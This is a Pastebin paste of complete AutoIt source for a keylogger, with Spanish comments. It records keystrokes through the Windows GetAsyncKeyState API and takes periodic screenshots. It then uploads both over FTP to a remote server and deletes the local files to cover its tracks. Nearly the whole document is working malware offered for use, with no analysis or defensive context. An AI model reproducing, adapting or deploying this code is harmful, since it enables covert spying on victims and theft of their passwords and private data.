Advertisement
FlyFar

NK90 Keylogger - Source Code

Jun 10th, 2023
1,774
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 2.78 KB | Cybersecurity | 0 0
  1. #cs ----------------------------------------------------------------------------
  2.  
  3.  AutoIt Version: 3.3.8.1
  4.  Author: Naker90
  5.  
  6.  Script Function:
  7.     Captura de pulsaciones de teclado por la API GetAsyncKeyState (Mayusculas, minusculas y numeros),
  8.   captura de pantalla y envio del Log a travez de FTP (File Transfer Protocol)
  9.  
  10.  Parametros:
  11.     $sMinute_Delay => Tiempo de espera entre envio de Logs
  12.   $sServerIP => IP del servidor FTP
  13.     $sPort => Puerto del Servidor FTP
  14.     $sUsername => Nombre de usuario del servidor FTP
  15.     $sPassword => Contraseña del usuario del servidor FTP
  16.  
  17. Ejemplo de uso:
  18.     Keylogger_Function(10,'XXX.XXX.XXX.XXX', 21, 'Naker90', '123')
  19.  
  20. #ce ----------------------------------------------------------------------------
  21.  
  22. #include <FTPEx.au3>
  23. #include <ScreenCapture.au3>
  24.  
  25. Func Keylogger_Function($sMinute_Delay, $sServerIP, $sPort, $sUsername, $sPassword)
  26.  
  27.     Local $sTimeInit = TimerInit()
  28.     Local $sDelay = $sMinute_Delay * 60000
  29.     Local $sAlphabet[48] = ['0x30', '0x31', '0x32', '0x33', '0x34', '0x35', '0x36', '0x37', '0x38', '0x39', '0x41', '0x42', '0x43', '0x44', '0x45', '0x46', '0x47', '0x48', _
  30.             '0x49', '0x4A', '0x4B', '0x4C', '0x4D', '0x4E', '0x4F', '0x50', '0x51', '0x52', '0x53', '0x54', '0x55', '0x56', '0x57', '0x58', '0x59', '0x60', '0x20', '0x2E']
  31.  
  32.     While 1
  33.         Local $sInput
  34.         For $si = 0 To 47
  35.  
  36.             Local $sShift = DllCall('User32.dll', 'int', 'GetKeyState', 'long', 0x10)
  37.             Local $sBlockMayus = DllCall('User32.dll', 'int', 'GetKeyState', 'long', 0x14)
  38.             Local $sGetAsyncKeyState = DllCall('User32.dll', 'int', 'GetAsyncKeyState', 'int', $sAlphabet[$si])
  39.  
  40.             If $sGetAsyncKeyState[0] = -32767 Then
  41.                 If $sShift[0] <> 0 And 1 Or $sBlockMayus[0] <> 0 And 1 Then
  42.                     $sInput = $sInput & ChrW($sAlphabet[$si])
  43.                 Else
  44.                     $sInput = $sInput & StringLower(ChrW($sAlphabet[$si]))
  45.                 EndIf
  46.             EndIf
  47.  
  48.         Next
  49.  
  50.         If TimerDiff($sTimeInit) >= $sDelay Then
  51.  
  52.             Local $sLog = FileOpen(@TempDir & '\Log.txt', 1)
  53.             FileWrite($sLog, $sInput)
  54.             FileClose($sLog)
  55.  
  56.             Local $sScreenShot = _ScreenCapture_Capture(@TempDir & '\Image.jpg')
  57.  
  58.             File_Transfer_Protocol($sServerIP, $sPort, $sUsername, $sPassword)
  59.  
  60.             FileDelete(@TempDir & '\Log.txt')
  61.             FileDelete(@TempDir & '\Image.jpg')
  62.  
  63.             $sInput = ''
  64.  
  65.             $sTimeInit = TimerInit()
  66.         EndIf
  67.  
  68.     WEnd
  69.  
  70. EndFunc
  71.  
  72. Func File_Transfer_Protocol($ServerIP, $Port, $Username, $Password)
  73.  
  74.     Local $Directory =  '\' & @MDAY & '-' & @MON & '-' & @YEAR & '_' & @HOUR & '-' & @MIN
  75.  
  76.     Local $Open = _FTP_Open('MyFTP Control')
  77.     Local $Connect = _FTP_Connect($Open, $ServerIP, $Username, $Password, 0, $Port)
  78.     _FTP_DirCreate($Connect, $Directory)
  79.     _FTP_FilePut($Connect, @TempDir & '\Log.txt', $Directory & '\Log.txt')
  80.     _FTP_FilePut($Connect, @TempDir & '\Image.jpg', $Directory & '\Image.jpg')
  81.     _FTP_Close($Connect)
  82.  
  83. EndFunc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement